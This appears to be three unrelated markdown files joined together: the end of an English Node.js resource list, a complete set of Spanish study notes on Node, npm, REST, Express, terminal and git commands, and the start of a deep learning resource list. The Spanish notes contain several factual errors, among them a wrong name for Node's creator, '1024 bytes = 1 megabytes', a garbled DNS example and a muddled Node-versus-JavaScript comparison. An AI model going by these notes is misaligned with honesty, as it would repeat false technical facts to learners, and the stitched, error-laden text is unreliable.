- [The Node Way](http://thenodeway.io) - An entire philosophy of Node.js best practices and guiding principles exists for writing maintainable modules, scalable applications, and code that is actually pleasant to read.
- [You Don't Know Node.js](https://github.com/azat-co/you-dont-know-node) - Introduction to Node.js core features and asynchronous JavaScript.
- [Portable Node.js guide](https://github.com/ehmicky/portable-node-guide) - Practical guide on how to write portable/cross-platform Node.js code.
- [Build a real web app with no frameworks](https://frameworkless.js.org/course) - A set of video tutorials/livestreams to help you build and deploy a real, live web app using a handful of simple libraries and the core Node.js modules.
### Discovery
- [npms](https://npms.io) - Superb package search with deep analysis of package quality using a [myriad of metrics](https://npms.io/about).
- [npm addict](https://npmaddict.com) - Your daily injection of npm packages.
- [npmcompare.com](https://npmcompare.com) - Compare and discover npm packages.
### Articles
- [Error Handling in Node.js](https://www.joyent.com/node-js/production/design/errors)
- [Teach Yourself Node.js in 10 Steps](https://ponyfoo.com/articles/teach-yourself-nodejs-in-10-steps)
- [Mastering the filesystem in Node.js](https://medium.com/@yoshuawuyts/mastering-the-filesystem-in-node-js-4706b7cb0801)
- [Semver: A Primer](https://nodesource.com/blog/semver-a-primer/)
- [Semver: Tilde and Caret](https://nodesource.com/blog/semver-tilde-and-caret/)
- [Why Asynchronous?](https://nodesource.com/blog/why-asynchronous/)
- [Understanding the Node.js Event Loop](https://nodesource.com/blog/understanding-the-nodejs-event-loop/)
- [Understanding Object Streams](https://nodesource.com/blog/understanding-object-streams/)
- [Art of README](https://github.com/noffle/art-of-readme) - Learn the art of writing quality READMEs.
- [Using Express to Quickly Build a GraphQL Server](https://snipcart.com/blog/graphql-nodejs-express-tutorial)
### Newsletters
- [Node Weekly](http://nodeweekly.com) - Weekly e-mail round-up of Node.js news and articles.
- [Node Module Of The Week!](https://nmotw.in) - Weekly dose of hand picked node modules.
### Videos
- [Introduction to Node.js with Ryan Dahl](https://www.youtube.com/watch?v=jo_B4LTHi3I)
- [Hands on with Node.js](https://learn.bevry.me/hands-on-with-node.js/preface)
- [Nodetuts](http://nodetuts.com) - Series of talks, including TCP & HTTP API servers, async programming, and more.
- [V8 Garbage Collector](https://v8.dev/blog/trash-talk) - Trash talk about the V8 garbage collector.
- [10 Things I Regret About Node.js by Ryan Dahl](https://www.youtube.com/watch?v=M3BM9TB-8yA) - Insightful talk by the creator of Node.js about some of its limitions.
- [Mastering REST APIs in Node.js: Zero-To-Hero](https://www.manning.com/livevideo/mastering-rest-apis-in-nodejs) - Video course on how to make REST APIs using Node.js.
- [Make a vanilla Node.js REST API](https://www.youtube.com/watch?v=_1xa8Bsho6A) - Building a REST API without using a framework like Express.
### Books
- [Node.js in Action](https://www.manning.com/books/node-js-in-action-second-edition)
- [Node.js in Practice](http://www.amazon.com/Node-js-Practice-Alex-R-Young/dp/1617290939)
- [Mastering Node](http://visionmedia.github.io/masteringnode/)
- [Node.js 8 the Right Way](https://pragprog.com/book/jwnode2/node-js-8-the-right-way)
- [Professional Node.js: Building JavaScript Based Scalable Software](http://www.amazon.com/Professional-Node-js-Building-Javascript-Scalable-ebook/dp/B009L7QETY/)
- [Practical Node.js: Building Real-World Scalable Web Apps](http://practicalnodebook.com)
- [Mixu's Node book](http://book.mixu.net/node/)
- [Pro Express.js](http://proexpressjs.com)
- [Secure Your Node.js Web Application](http://www.amazon.com/Secure-Your-Node-js-Web-Application/dp/1680500856)
- [Express in Action](https://www.manning.com/books/express-in-action)
- [Practical Modern JavaScript](https://www.amazon.com/Practical-Modern-JavaScript-Dive-Future/dp/149194353X)
- [Mastering Modular JavaScript](https://www.amazon.com/Mastering-Modular-JavaScript-Nicolas-Bevacqua/dp/1491955686/)
- [Get Programming with Node.js](https://www.manning.com/books/get-programming-with-node-js)
### Blogs
- [Node.js blog](https://nodejs.org/en/blog/)
- [webapplog.com](http://webapplog.com/tag/node-js/) - Blog posts on Node.js and JavaScript from the author of Practical Node.js and Pro Express.js Azat Mardan.
### Courses
- [Learn to build apps and APIs with Node.js](https://learnnode.com/friend/AWESOME) - Video course by Wes Bos.
- [Real Time Web with Node.js](https://www.codeschool.com/courses/real-time-web-with-node-js)
- [Learn and Understand Node.js](https://www.udemy.com/understand-nodejs)
### Cheatsheets
- [Express.js](https://github.com/azat-co/cheatsheets/blob/master/express4)
- [Stream FAQs](https://github.com/stephenplusplus/stream-faqs) - Answering common questions about streams, covering pagination, events, and more.
- [Strong Node.js](https://github.com/jesusprubio/strong-node) - Checklist for source code security analysis of a Node.js web service.
### Tools
- [OctoLinker](https://chrome.google.com/webstore/detail/octolinker/jlmafbaeoofdegohdhinkhilhclaklkp) - Chrome extension that linkifies dependencies in package.json, .js, .jsx, .coffee and .md files on GitHub.
- [npm-hub](https://chrome.google.com/webstore/detail/npm-hub/kbbbjimdjbjclaebffknlabpogocablj) - Chrome extension to display npm dependencies at the bottom of a repo's readme.
- [RunKit](http://blog.tonicdev.com/2015/09/30/embedded-tonic.html) - Embed a Node.js environment on any website.
- [github-npm-stats](https://chrome.google.com/webstore/detail/github-npm-stats/oomfflokggoffaiagenekchfnpighcef) - Chrome extension that displays npm download stats on GitHub.
- [npm semver calculator](https://semver.npmjs.com) - Visually explore what versions of a package a semver range matches.
- [CodeSandbox](https://codesandbox.io/s/node-http-server-node) - Online IDE and prototyping.
### Community
- [Gitter](https://gitter.im/nodejs/node)
- [`#node.js` on Freenode](http://webchat.freenode.net/?channels=node.js)
- [Stack Overflow](http://stackoverflow.com/questions/tagged/node.js)
- [Reddit](https://www.reddit.com/r/node)
- [Twitter](https://twitter.com/nodejs)
- [Hashnode](https://hashnode.com/n/nodejs)
- [Discord](https://discordapp.com/invite/96WGtJt)
### Miscellaneous
- [nodebots](http://nodebots.io) - Robots powered by JavaScript.
- [node-module-boilerplate](https://github.com/sindresorhus/node-module-boilerplate) - Boilerplate to kickstart creating a node module.
- [modern-node](https://github.com/sheerun/modern-node) - Toolkit for creating node modules with Jest, Prettier, ESLint, and Standard.
- [generator-nm](https://github.com/sindresorhus/generator-nm) - Scaffold out a node module.
- [Microsoft Node.js Guidelines](https://github.com/Microsoft/nodejs-guidelines) - Tips, tricks, and resources for working with Node.js on Microsoft platforms.
- [Module Requests & Ideas](https://github.com/sindresorhus/module-requests) - Request a JavaScript module you wish existed or get ideas for modules.
## Related lists
- [awesome-npm](https://github.com/sindresorhus/awesome-npm) - Resources and tips for using npm.
- [awesome-cross-platform-nodejs](https://github.com/bcoe/awesome-cross-platform-nodejs) - Resources for writing and testing cross-platform code.
|
# JavaScript Avanzado
## Table of Contents
1. [Node](#node)
2. [Npm y paquetes](#npm-y-paquetes)
3. [Node para front y back end](#node-para-front-y-back-end)
4. [Arquitectura de software](#arquitectura-de-software)
5. [Stacks de desarrollo web](#stacks-de-desarrollo-web)
6. [Asincronía y Event Loop](#asincronía-y-event-loop)
7. [Comparativa entre Node vs JavaScript](#node)
8. [Conceptos de una API](#conceptos-de-una-api)
9. [Qué es REST y sus principios](#qué-es-rest-y-sus-principios)
10. [API Rest](#api-rest)
11. [ExpressJS](#expressjs)
12. [Deploys](#deploys)
13. [Notas adicionales](#notas-adicionales)
14. [Herramientas](#herramientas)
15. [Glosario](#glosario)
### Node
Node es un entorno multiplataforma para ejecutar JavaScript fuera del navegador, tiene su origen en el 2009 (Ryan Lenhiart).
#### **Instalación**
[Descargar LTS](https://nodejs.org/es/download/)
node -v
npm -v
**Versiones válidas:** 12.x.x, 14.x.x y 16.x.x
#### **Que se puede hacer con node**
- Realizar API Rest.
- Acceder a bases de datos relacionales y no relacionales.
- Generar páginas dinámicas en un servidor web. => server side render
- Crear, leer y escribir archivos.
- Procesar y almacenar archivos enviados desde una página web.
**Elementos de node**
Dentro de node se utilizan los módulos y las callbacks.
- **Módulo:** Permiten aislar parte de nuestro código en diferentes archivos y mandarlos llamar sólo cuándo los necesitamos.
Existen dos **formas de utilizar módulos** en node:
- Commun JS.
- ES6 Imports.
- **Callback:** Es una funcion que se pasa como parametro a otra funcion.
#### Diferencias entre Node y JS
**Javascript**
* Funciona en el navegador.
* JS + web api.
* fetch.
* settimeout.
* addeventlistener.
* localstorage.
**Node**
* Funciona en el servidor.
* JS + modulos de node.
* http.
* os.
* fs.
* global.
* path.
**Modelo cliente servidor**
Es un modelo de arquitectura donde mediante ciertos procolos existen la comunicación en internet. Por un lado, el servidor es una aplicación que ofrece un servicio, mientras que un cliente es quien pide el servicio.
**Path**
Una ruta o path indica una ubicación a nivel de carpeta de algun fichero dentro del
sistema de archivos.
**Ejemplos de rutas**
```
/# Raiz
/
/# Significa ahi mismo
./
/# Regresar un nivel de carpetas../
../../
```
**Mime Types**
Los mime types indican la naturaleza y formato de los archivos que son transmitidos en la respuesta de una solicitud web.
- json: 'application/json'.
- text: 'text/plain'.
- html: 'text/html'.
- css: 'text/css'.
- jpg: 'image/jpg'.
- ico: 'image/x-icon'.
- mp3: 'audio/mpeg3'.
- mp4: 'video/mp4'.
Para ver el listado completo [consulte](https://docs.w3cub.com/http/basics_of_http/mime_types/complete_list_of_mime_types.html).
**Localhost**
Es la dirección de mi propio computador (http://localhost:8080), también se le conoce como dirección loopback (http://127.0.0.1:8080).
### Npm y paquetes.
Node package manager es un manejador de paquetes de node y gestor de dependencias de proyectos npm. Se compone de:
* Un repositorio de paquetes.
* Un CLI para interactuar con el repo y el proyecto.
#### **Paquetes**
Son módulos distribuidos en forma de librerías que resuelven alguna necesidad de desarrollo.
#### **Scripts**
Son comandos propios que se pueden agregar al package.json para poderlos ejercutar.
Estructura de un proyecto npm
* **node_modules:** Carpeta donde se instalan las dependencias, normalmente está carpeta se agrega al .gitignore.
* **package.json:** Guardan las dependencias y los comandos de node.
* **package-lock.json:** Guarda un snapshot de las dependencias que se instalaron en un determinado momento.
#### **Listado de comandos npm**
```
# inicializar un proyecto
npm init
# instalar un paquete global
npm install -g packageName
# instalar todos las dependencias de un proyecto
npm i
# instalar un nuevo paquete sin agregarlo al package.json
npm install packageName
# instalar un nuevo paquete y agregarlo al package.json
npm install packageName --save
# instalar un paquete como dev dependency
npm install -D packageName
# desinstalar un paquete
npm uninstall packageName
# desintalar un paquete global
npm uninstall -g packageName
# ejecutar comandos custom
npm run myCommand
```
#### Otros gestores de dependencias
* Maven.
* Bower.
* Gradlew.
* Yarn.
#### Tipos de licencias de software
* MIT.
* ISC.
### Node para front y back end.
A continuación se presenta un listado de los framework front y back mas populares de nodeJS.
#### **Frameworks back end**
* [ExpressJS](https://expressjs.com/es/guide/routing.html).
* [Hapi](https://hapi.dev/tutorials/?lang=en_US).
* [Koa](https://devdocs.io/koa/).
* [Fastify](https://www.fastify.io/docs/latest/).
#### **Frameworks front end**
* [Gatsby](https://www.gatsbyjs.com/docs/).
* [EJS](https://ejs.co/#docs).
* [Nuxt](https://nuxtjs.org/docs/get-started/installation).
* [Next](https://nextjs.org/docs).
* [Hbs](https://bluuweb.github.io/node/20-hbs/).
#### **Semantic Versión**
Es un conjunto simple de reglas y requerimientos que dictan cómo asignar e incrementar los números de la versión de un software. Evitan la pérdida de versiones y mejoran la gestión de dependencias.
Dado un número de versión **MAJOR.MINOR.PATCH**, se incrementa:
* La versión **MAJOR** cuando realizas un cambio incompatible en el proyecto.
* La versión **MINOR** cuando añades funcionalidad que compatible con versiones anteriores.
* La versión **PATCH** cuando reparas errores compatibles con versiones anteriores.
### Arquitectura de software.
Es la estructura y forma en que los componentes de software o hardware se distribuyen y relacionan en el stack.
**Arquitecturas comunes**
* Cliente servidor.
* De tres niveles.
* Model View Controller: MVC.
* Dirigida por eventos.
* Microservicios.
* Serverless.
### Stacks de desarrollo web.
Un **stack** es el conjunto de tecnologías utilizadas para construir una aplicación.
#### **Stacks populares**
* LAMP.
* ASP.NET.
* MEAN.
* MERN.
* MEVN.
**Web components**
Encapsular funcionalidad en elementos especificos que sean reutilizables.
**Custom tag**
El nombre de la tag utilizada para un webcomponent. Ejemplos:
* `<my-menu>`
* `<Mymenu>`
#### Lenguajes de programación
* Java.
* JavaScript.
* Php.
* Python.
* Go.
#### Gestores de BD (SQL)
* SQL.
* Postgres.
* Oracle.
* MSSQLServer.
* MariaDB.
* MySQLalg.
#### Gestores de BD (No SQL)
* Mongo.
* DynamoDB.
* Firebase.
* Elasticsearchalg.
#### Servicios de cloud
* Azure.
* AWS.
* Google Cloud.
### Asincronía y Event Loop.
#### **Código síncrono**
Es aquel código donde cada instrucción se ejecuta en orden, línea a línea. Es código no depende de nadie y el event loop lo puede procesar sin detenerse.
#### **Código asíncrono**
Es aquel que tiene instrucciones que depende de algo externo (una api, una BD, escritura de archivos, etc). El event loop no se bloquea con este código y lo manda a formar a la fila de la web api. Cuando el event loop esta libre de tareas no dependientes, empieza a leer la fila ddde la web api y moverlas al queue, de donde comienza a ejecutar las tareas pendientes.
#### **Flujo de ejecución**
Cuando el event loop difiere el código y lo pone en espera, puede causar afectación en el flujo lógico de nuestro código, por ello es importante controlar ese flujo (asincronia) mediante callbacks, promises o async await (esta sintaxis luce como codigo sincrono).
**Ejemplo de operaciones asíncronas**
* Consulta una API.
* Crear archivos.
* Acceso a BD.
#### **Formas de manejar la asíncronia**
- **Callbacks:** Consiste en pasar una función como parámetro y ejecutarla en el momento que lo necesitemos.
- **Promesas:** Se envuelve el código asincrono en el objecto **new Promise**. Se basan en 3 estados: cuándo se lanza la petición (pending) y sus posibles respuestas (resolve y reject).
- **Async await (ES6):** Función con la sugar syntaxis de es6 y simula que el código es asíncrono (por detrás sigue siendo una promesa).
### Comparativa entre Node vs JavaScript
* Ambos se basan en 0 retraso.
* No hay temporizador (setTimeout y setInterval).
* No hay manejo de eventos (eventListener).
* No hay solicitudes Ajax (consumo de API’s).
* Navegadores usan Libevent.
* Node usa Libuv.
### Conceptos de una API.
Application Programming Interface son mecanismos que permiten a dos componentes de software comunicarse entre sí mediante un conjunto de definiciones y protocolos. Comúnmente el formato de intercambio de datos utilizados es JSON o XML.
**XML**
```
`<name>`
`<nombre>`Luke Skywalker `</nombre>`
`<app>`172 `</app>`
`<address>`
`<street></street>`
`<number>`
`<int>`B `</int>`
`<ext>`990 `</ext>`
`</number>`
`</address>`
`</name>`
```
**JSON**
```
{
"name": "Luke Skywalker",
"height": "172",
"address": {
street: '',
number: { int: B, ext: 990 },
}
}
```
#### Conceptos de una API
* **Client:** Es quien realiza la petición.
* **Request:** Petición http conformada por url, params, payload.
* **Url:** Dirección de internet.
* **Payload:** Información que va en el body de la request.
* **Método o verbo:** Es la acción (GET, POST, PUT, PATCH y DELETE) con la que se accede a un endpoint.
* **Recurso:** Es el endpoint al que llegamos en la API.
* **Response:** Respuesta de la API.
* **Server:** Es quien responde la petición.
#### **Listado de protocolos**
* TCP/IP.
* HTTP.
* HTTPS.
* FTP.
* SMTP.
* IMAP.
* POP.
* SSL.
* TLS.
[Listado completo de puertos](https://docs.opencloud.cl/tutoriales/servidores/lista-de-puertos-mas-comunmente)
#### **Listado de status**
**100 Information**
* 100 Continue
**200 Success**
* 200 OK
* 201 Created
* 202 Accepted
* 204 No content
**300 Redirección**
* 304 Not modified
**400 Client Errors**
* 400 Bad request
* 401 Unauthorized
* 403 Forbidden
* 404 Not found
* 405 Not allowed method
* 408 Request timeout
* 409 Conflict
**500 Server Errors**
* 500 Internal server error
* 501 Not implemented
* 503 Service unavailable
* 504 Gate timeout
[Listado completo de estatus http.](https://developer.mozilla.org/es/docs/Web/HTTP/Status)
### Qué es REST y sus principios.
Es una “evolución” de SOAP (servicios web). REST es una interfaz para conectar varios sistemas.
### API Rest.
Es una serie de principios que las API siguen para “volverse” API REST, cuándo cumplen todos los principios, se les conoce como API Restful.
* Client.
* Request.
* Contrato.
* Response.
* Server.
#### **Contrato de un API**
Es un conjunto de acuerdos entre cliente y servidor para establecer la comunicación.
* Interfaz.
* Método.
* Body y parametros (si aplican).
* Estatus de respuesta.
* Formato de intercambio de datos.
### ExpressJS.
[Documentation](https://expressjs.com/es/starter/installing.html).
#### Arquitectura de proyecto Node
```
src
│ index.js # Entry point for application
└───config # Application environment variables and secrets
└───controllers # Express controllers for routes, respond to client requests, call services
└───loaders # Handles all startup processes
└───middlewares # Operations that check or maniuplate request prior to controller utilizing
└───models # Database models
└───routes # Express routes that define API structure
└───services # Encapsulates all business logic
└───test # Tests go here
```
Documentación capa controller.
Documentación de arquitectura node.
**Nombrado de constantes**
1. Si la constante es un valor fijo para comparar (if) o mostrar en pantalla
debe ir en mayuscula.
MXN, USD, PI, MAX_SIZE
2. Si la constante guarda un valor logico q se utiliza pero no muta ni trampoco
es visible o comparable se debe declarar en minuscula.
port
### Deploys.
* Heroku.
* Google App Engine.
* Back4App.
* Linode.
* Digital Ocean.
* Aws.
## Notas adicionales
### **Markdown**
Es un [lenguaje de marcado ligero](https://es.wikipedia.org/wiki/Lenguajes_de_marcas_ligeros "Lenguajes de marcas ligeros") creado por [John Gruber](https://en.wikipedia.org/wiki/John_Gruber "en:John Gruber") y [Aaron Swartz](https://es.wikipedia.org/wiki/Aaron_Swartz "Aaron Swartz") que trata de conseguir la máxima legibilidad y facilidad de publicación tanto en su forma de entrada como de salida, se inspira en convenciones existentes para marcar mensajes de correo electrónico usando texto plano.
**Medidas de almacenamiento**
1024 bytes = 1 megabytes
1024 megabytes = 1 gygabytes
1024 gygabites = 1 terabytes
### Comandos Terminal
El **CMD** es la línea de comandos basada en MS-DOS para windows, mientras que la **terminal** es la línea de comandos de unix/lunix (kernel de mac os y algunas distribuciones linux).
Listado de comando
```
# imprime el path en el que se encuentra
pwd
# moverse entre carpetas
cd
# listar carpetas y archivos que hay en el directorio actual
ls
# crear carpetas
mkdir newFolder
# crear archivos
touch nameFile.txt
# eliminar carpetas
rmdir folderName
# eliminar archivos
rm fileName.txt
# comprobar conexión a internet
ping www.google.com
# limpiar la pantalla
clear
```
### [Comandos Git](git.md)
#### Commits Atómicos
Consiste en realizar un commit por un solo objetivo. Es decir, no mezclar muchas soluciones en el mismo commit.
#### Conventional Commits
Es una especificación sobre como escribir mensajes de confirmación (commits).
**Estructura**
```
[optional scope]: [optional body][optional footer(s)]
```
**Tipos principales**
* feat: Nuevas caracteristicas.
* chore: Cosas que no aportan un req funcional pero posiblemente si un req no funcional.
* fix: Correccion de errores.
* docs: Commits con documentacion o comentarios.
* style: Estructura de carpetas y nombrado.
#### Información del repo
```
# ver estado del working directory y staging area
git status
# ver historial de commits
git log --oneline
```
#### Generar llave ssh
```
# generar ssh key
ssh-keygen
# ver llave p[ublica
cat ~/.ssh/id_rsa.pub
```
#### Hacer un commit
```
# agregar al staging area
git add .
# quitar del staging area
git restore --staged namefile.txt
# hacer un commit al repo local
git commit -m "conventionalCommitScope: mi mensaje"
```
#### Semantica de mensajes "commit"
Un pequeño cambio en nuestros mensajes commit puede convertirnos en mejores programadores.
Formato: `<tipo>(<alcance>): <asunto>`
`<alcance>` es opcional
## Ejemplo
```
feat: add hat wobble
^--^ ^------------^
| |
| +-> Resumen en tiempo presente.
|
+-------> Tipo: chore(tarea), docs(documentos), feat(logro), fix(corrección), refactor(refactorización), style(estilo), or test(prueba).
```
Mas ejemplos:
- `feat`: (nueva función para el usuario, no una nueva función para el script de compilación)
- `fix`: (corrección de errores para el usuario, no una corrección para un script de compilación)
- `docs`: (cambios en la documentación)
- `style`: (formato, falta de punto y coma, etc.; no hay cambio de código de producción)
- `refactor`: (refactorización de código de producción, por ejemplo, cambio de nombre de una variable)
- `test`: (agregando pruebas faltantes, refactorizando pruebas; sin cambio de código de producción)
- `chore`: (actualización de tareas grunt, etc.; sin cambio de código de producción)
Referencias:
- https://gist.github.com/joshbuchea/6f47e86d2510bce28f8e7f42ae84c716
- https://www.conventionalcommits.org/
- https://seesparkbox.com/foundry/semantic_commit_messages
- http://karma-runner.github.io/1.0/dev/git-commit-msg.html
Esta es una traduccion al español de [Josh Buchea] (https://gist.github.com/joshbuchea) por [Daniel Gloria](https://gist.github.com/dannielgloria).
#### Remoto
```
# ver los repos remotos a los que esta conectado el repo local
git remote -v
# bajar cambios
git pull origin branchName
# subir cambios
git push origin branchName
# subir cambios de una rama nueva para el remoto
git push -u origin branchName
# obtener los cambios de una rama remota y cambiarse a esa rama
git fetch && git checkout develop
# bajar cambios de una rama remota a una local (cuando ya existe)
git pull origin branchName
# agregar una direccion remoto (origin)
git remote add origin myUrl
# modificar una direccion remoto (origin)
git remote set-url origin myUrl
```
#### Administración de ramas
```
# ver rama en la que se encuentra el head
git branch
# crea una rama nueva
git branch newBranchName
# cambiarse a una rama con el nombre nombreRama
git checkout branchName
# crear y cambiarse a una nueva rama
git checkout -b newBranchName
# crear y cambiarse a una nueva rama
git switch -c newBranchName
# eliminar una rama
git branch -D branchName
```
#### Otros comandos útiles
```
# Descarta los cambios del stagin y working directory
git reset --hard
# actualiza la cache de git para que tome ciertos cambios (.gitignore)
git rm --cached . r
# actualiza el mensaje del ultimo commit realizado (no debe estar pusheado)
git commit --amend -m "an updated commit message"
# stash: el codigo de working directory y staging area es eliminado temporalmente
git stash
# stash: el codigo de working directory y staging area que fue eliminado se recuperar
git stash pop
```
[Más info](https://www.conventionalcommits.org/en/v1.0.0/)
#### **VSCode como editor de git**
```
git config --global core.editor"visual studio --wait"
git commit
// ir a vscode a escribir el mensaje, una vez escrito guardar y cerrar.
// regresar a la consola a comprobar el commit
```
### Áreas de estudio
#### Arquitectura de software
Modelos de arquitectura, cliente servidor, mvc, eventos, etc.
#### Redes de computadora
Área donde se estudia la comunicación de redes de telecomunicaciones y funcionamiento del internet.
#### Sistemas operativos
Área donde se estudia la estructura de un sistema operativo y todo lo requerido para que opere en el hardware.
#### Testing
Es una área que se encarga de la automatización de pruebas del código.
Las pruebas es un proceso de evaluar un producto, mediante exploración y experimentación.
Entre menos entendemos un producto, tendrá mayores errores.
**Motivos para probar**
* Reducir costos.
* Cuidar el prestigio
* Mejoran la calidad de funcionalidad.
* Minimizan la posibilidad de malas experiencias de usuario.
**Por qué no se hacen siempre**
* No son parte de la solución.
* No se entrega evidencia al cliente.
* Pueden ser difíciles de mantener.
* No hay tiempo o conocimiento.
**Metodologías testing**
* TDD.
* BDD.
#### Arquitectura de computadoras
Área de estudio de la arquitectura física de las computadoras.
#### SysAdmin
Sysadmin suele ser el responsable de garantizar el correcto funcionamiento de toda plataforma tecnológica e informática de donde trabaja, trabajando incansablemente para ejecutar las necesarias actividades (implementaciones, actualizaciones o cambios) y mantener la operatividad del negocio.
#### DevOps
DevOps es un marco de trabajo y una filosofía en constante evolución que promueve un mejor desarrollo de aplicaciones en menos tiempo y la rápida publicación de nuevas o revisadas funciones de software o productos para los clientes.
Con DevOps se promueve una comunicación continua más fluida, la colaboración, la integración, la visibilidad y la transparencia entre equipos de desarrollo de aplicaciones (Dev) y sus homólogos en operaciones tecnológicas (Ops).
#### Machine Learning
El machine learning (aprendizaje automático) es una rama de la inteligencia artificial que permite que las máquinas aprendan sin ser expresamente programadas para ello. Una habilidad indispensable para hacer sistemas capaces de identificar patrones entre los datos para hacer predicciones. Esta tecnología está presente en un sinfín de aplicaciones como las recomendaciones de Netflix o Spotify, las respuestas inteligentes de Gmail o el habla de Siri y Alexa.
#### Big Data
Big Data es un término que describe el gran volumen de datos, tanto estructurados como no estructurados, que inundan los negocios cada día. Pero no es la cantidad de datos lo que es importante. Lo que importa con el Big Data es lo que las organizaciones hacen con los datos. Big Data se puede analizar para obtener ideas que conduzcan a mejores decisiones y movimientos de negocios estratégicos.
#### Recursos para estudiar
* [Cheat sheet](https://education.github.com/git-cheat-sheet-education.pdf).
* [La guía sencilla](https://rogerdudler.github.io/git-guide/index.es.html).
* [Learning lab](https://lab.github.com/).
* [Curso de John Mircha node](https://www.youtube.com/watch?v=FeJVdCz_uco&list=PLlrxD0HtieHje-_287YJKhY8tDeSItwtg).
### Herramientas
* [Ip Pública](https://www.cual-es-mi-ip.net/).
* [Gitignore.io](https://www.toptal.com/developers/gitignore/).
* [Coder Runner](https://marketplace.visualstudio.com/items?itemName=formulahendry.code-runner).
* [Office Viewer(Markdown Editor)](https://marketplace.visualstudio.com/items?itemName=cweijan.vscode-office).
* [Aprende Node.js y Express - Curso desde Cero](https://www.youtube.com/watch?v=1hpc70_OoAg).
* Documentación Ofline.
* [Zeal (Windows)](https://zealdocs.org/download.html).
* [Zeal (Linux)](https://zealdocs.org/download.html#linux).
* [Dash (MacOS)](https://kapeli.com/dash).
* [Node.js para backend (en)](https://www.simplilearn.com/tutorials/nodejs-tutorial/nodejs-backend).
* [Mintlify Doc Writer (documentador automatico)](https://marketplace.visualstudio.com/items?itemName=mintlify.document).
* [Metodo patito de goma](https://www.thebrain.school/metodo-patito-goma/#:~:text=Este%20m%C3%A9todo%2C%20incluso%20con%20entrada,pasaba%20inadvertido%20a%20sus%20ojos.).
* [Thubder Client](https://marketplace.visualstudio.com/items?itemName=rangav.vscode-thunder-client).
### Glosario
- **Sistema operativo:** Es el software que coordina y dirige todos los servicios y aplicaciones que utiliza el usuario en una computadora.
- **Kernel:** El kernel es el núcleo de un sistema operativo y, por tanto, la interfaz (middleware) entre el software y el hardware.
- **Ip:** La dirección IP es una etiqueta numérica, por ejemplo "192.0.10.1" que identifica, de manera lógica y jerárquica, a una interfaz en la red. Existen IP públicas y IP privadas.
- **Dominio:** Es una dirección web compuesta por un nombre de sitio web y una extensión de dominio. Ejemplo: google.com
- **URL:** Es una dirección web compuesta por al menos el protocolo, dominio y ruta.
- **DNS:** Es un tipo de servidor de redes de computadora que en encarga de convertir direcciones web en dominios IP y viceversa. Ejemplo: 8.8.8.8 => www.google.com
- **Cliente:** Es quien solicita información dentro de un sistema informatico.
- **Request:** Es una solicitud de información.
- **Response:** Es la entrega de información de un servidor a un cliente.
- **Servidor:** Es una instancia fisica o lógica que responde peticiones (request).
- **Estándar:** Es un patrón o modelo a seguir, generalmente derivado de un documento o certificación.
- **Buena práctica:** Es un actividad que se ha demostrado que funciona bien y produce buenos resultados, y, por lo tanto, se recomienda como modelo.
- **Path:** Es una ruta o dirección donde se encuentra alojado un recurso en un sistema de archivos. Existen rutas relativas como ../../my-docs o absolutas como C:\users\juan\Documents\tarea\tesis.doc
- **Puerto:** un lugar donde se abre una conexion para acceder a un servicio.
- **Dummy:** Es un dato o elemento de prueba, sirve para simular datos.
- **Scaffolding:** Estructura de carpetas y archivos de un proyecto de desarrollo
|
# Awesome Deep Learning [](https://github.com/sindresorhus/awesome)
## Table of Contents
* **[Books](#books)**
* **[Courses](#courses)**
* **[Videos and Lectures](#videos-and-lectures)**
* **[Papers](#papers)**
* **[Tutorials](#tutorials)**
* **[Researchers](#researchers)**
* **[Websites](#websites)**
* **[Datasets](#datasets)**
* **[Conferences](#Conferences)**
* **[Frameworks](#frameworks)**
* **[Tools](#tools)**
* **[Miscellaneous](#miscellaneous)**
* **[Contributing](#contributing)**
### Books
1. [Deep Learning](http://www.deeplearningbook.org/) by Yoshua Bengio, Ian Goodfellow and Aaron Courville (05/07/2015)
2. [Neural Networks and Deep Learning](http://neuralnetworksanddeeplearning.com/) by Michael Nielsen (Dec 2014)
3. [Deep Learning](http://research.microsoft.com/pubs/209355/DeepLearning-NowPublishing-Vol7-SIG-039.pdf) by Microsoft Research (2013)
4. [Deep Learning Tutorial](http://deeplearning.net/tutorial/deeplearning.pdf) by LISA lab, University of Montreal (Jan 6 2015)
5. [neuraltalk](https://github.com/karpathy/neuraltalk) by Andrej Karpathy : numpy-based RNN/LSTM implementation
6. [An introduction to genetic algorithms](http://www.boente.eti.br/fuzzy/ebook-fuzzy-mitchell.pdf)
7. [Artificial Intelligence: A Modern Approach](http://aima.cs.berkeley.edu/)
8. [Deep Learning in Neural Networks: An Overview](http://arxiv.org/pdf/1404.7828v4.pdf)
9. [Artificial intelligence and machine learning: Topic wise explanation](https://leonardoaraujosantos.gitbooks.io/artificial-inteligence/)
10. [Grokking Deep Learning for Computer Vision](https://www.manning.com/books/grokking-deep-learning-for-computer-vision)
11. [Dive into Deep Learning](https://d2l.ai/) - numpy based interactive Deep Learning book
12. [Practical Deep Learning for Cloud, Mobile, and Edge](https://www.oreilly.com/library/view/practical-deep-learning/9781492034858/) - A book for optimization techniques during production.
13. [Math and Architectures of Deep Learning](https://www.manning.com/books/math-and-architectures-of-deep-learning) - by Krishnendu Chaudhury
14. [TensorFlow 2.0 in Action](https://www.manning.com/books/tensorflow-in-action) - by Thushan Ganegedara
15. [Deep Learning for Natural Language Processing](https://www.manning.com/books/deep-learning-for-natural-language-processing) - by Stephan Raaijmakers
16. [Deep Learning Patterns and Practices](https://www.manning.com/books/deep-learning-patterns-and-practices) - by Andrew Ferlitsch
17. [Inside Deep Learning](https://www.manning.com/books/inside-deep-learning) - by Edward Raff
18. [Deep Learning with Python, Second Edition](https://www.manning.com/books/deep-learning-with-python-second-edition) - by François Chollet
19. [Evolutionary Deep Learning](https://www.manning.com/books/evolutionary-deep-learning) - by Micheal Lanham
20. [Engineering Deep Learning Platforms](https://www.manning.com/books/engineering-deep-learning-platforms) - by Chi Wang and Donald Szeto
21. [Deep Learning with R, Second Edition](https://www.manning.com/books/deep-learning-with-r-second-edition) - by François Chollet with Tomasz Kalinowski and J. J. Allaire
22. [Regularization in Deep Learning](https://www.manning.com/books/regularization-in-deep-learning) - by Liu Peng
23. [Jax in Action](https://www.manning.com/books/jax-in-action) - by Grigory Sapunov
24. [Hands-On Machine Learning with Scikit-Learn, Keras, and TensorFlow](https://www.knowledgeisle.com/wp-content/uploads/2019/12/2-Aur%C3%A9lien-G%C3%A9ron-Hands-On-Machine-Learning-with-Scikit-Learn-Keras-and-Tensorflow_-Concepts-Tools-and-Techniques-to-Build-Intelligent-Systems-O%E2%80%99Reilly-Media-2019.pdf) by Aurélien Géron | Oct 15, 2019
### Courses
